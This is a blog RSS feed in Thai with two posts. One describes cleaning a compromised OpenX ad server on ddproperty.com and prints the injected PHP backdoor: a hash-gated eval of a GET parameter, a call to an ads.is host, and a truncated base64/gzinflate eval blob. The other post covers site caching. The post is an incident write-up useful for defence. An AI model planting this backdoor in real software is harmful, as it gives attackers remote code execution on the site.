<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tanomsak.com &#187; Project</title>
	<atom:link href="http://www.tanomsak.com/index.php/category/project/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tanomsak.com</link>
	<description>Random Thoughts on Random Things by Tanomsak</description>
	<lastBuildDate>Wed, 29 Dec 2010 11:40:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>แก้ปัญหา เวป ddproperty.com</title>
		<link>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/</link>
		<comments>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 13:26:30 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Project]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=418</guid>
		<description><![CDATA[เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา [...]]]></description>
			<content:encoded><![CDATA[<p>เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก &#8211; -&#8221; โดนอะไรเข้า (วะ) เนี้ย</p>
<p>พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ <a href="http://twitter.com/iampz/">@iampz</a> <a href="http://twitter.com/iampz/statuses/10874122643">แนะนำ</a>มาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา</p>
<p style="text-align: center;"><a href="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png"><img class="aligncenter size-full wp-image-422" title="malware" src="http://www.tanomsak.com/wp-content/uploads/2010/03/malware-e1269337353820.png" alt="" width="640" height="400" /></a></p>
<p><span id="more-418"></span></p>
<p>แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่อง<a href="http://www.legitreviews.com/news/7632/">ปัญหาความปลอดภัยของ openx </a>ผมเลยสามารถแก้ปัญหาได้</p>
<p>เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ</p>
<ol>
<li>ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ</li>
<li>files แรก ที่ผมเจอว่ามีปัญหาคือ  ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ<br />
<code><br />
$urlw = "http://stats.ads.is/stats?counter=128";<br />
$asiebc = 'ade93d134c231cea7b0b5619bff4f82f';<br />
if (isset($_GET['dothis']) &amp;&amp; (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);<br />
if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "\n";<br />
}<br />
} elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "document.write('');\n";<br />
}<br />
}<br />
</code></li>
<li>file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก<br />
<code><br />
if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {<br />
eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM ....</code></li>
<li>พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่</li>
<li>เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ</li>
<li>จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ</li>
</ol>
<p>จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ผลของการ Cache บวกกับ mod_deflate</title>
		<link>http://www.tanomsak.com/index.php/2009/05/actioncache-deflate-ddproperty/</link>
		<comments>http://www.tanomsak.com/index.php/2009/05/actioncache-deflate-ddproperty/#comments</comments>
		<pubDate>Wed, 27 May 2009 14:44:45 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Project]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=183</guid>
		<description><![CDATA[เมื่อเดือนก่อนมีการปรับเวป www.ddproperty.com นิดหน่อยครับ เนื่องจากเวปช้ามาก สิ่งที่ทำไปมีดังนี้ครับ 1. เพิ่ม RAM เครื่อง Server 2. ทำ action cache กับหน้ารายละเอียดประกาศทั้งหมด 3. ใช้ mod_deflate ของ apache ผลที่ได้ เวปเร็วขึ้นทันตาเห็นเลยครับ พอแรมเยอะขึ้นใช้ swap ลดลง ระบบโดยรวมลื่นขึ้นมาก ส่วน action cache ทำให้ response time ของแต่ละหน้าลดลงเยอะเลยครับ ดูกราฟข้างบนได้เลยครับ ขนาดหน้าลดลง เวลาในการโหลดเวปลดลง คุ้มค่าสุดๆเลยครับ ถึงว่าใครๆก็บอกให้ cache cache cache]]></description>
			<content:encoded><![CDATA[<p>เมื่อเดือนก่อนมีการปรับเวป <a title="ขายบ้าน บ้านมือสอง บ้านเดี่ยว" href="http://www.ddproperty.com">www.ddproperty.com</a> นิดหน่อยครับ เนื่องจากเวปช้ามาก สิ่งที่ทำไปมีดังนี้ครับ</p>
<p>1. เพิ่ม RAM เครื่อง Server</p>
<p>2. ทำ <a href="http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2">action cache</a> กับหน้ารายละเอียดประกาศทั้งหมด</p>
<p>3. ใช้ mod_deflate ของ apache</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/05/google-webmaster-tools-crawl-stats.png" alt="Google Webmaster Tools - Crawl stats.png" width="632" height="305" /></p>
<p>ผลที่ได้ เวปเร็วขึ้นทันตาเห็นเลยครับ พอแรมเยอะขึ้นใช้ swap ลดลง ระบบโดยรวมลื่นขึ้นมาก ส่วน action cache ทำให้ response time ของแต่ละหน้าลดลงเยอะเลยครับ ดูกราฟข้างบนได้เลยครับ ขนาดหน้าลดลง เวลาในการโหลดเวปลดลง คุ้มค่าสุดๆเลยครับ</p>
<p>ถึงว่าใครๆก็บอกให้ cache cache cache <img src='http://www.tanomsak.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/05/actioncache-deflate-ddproperty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

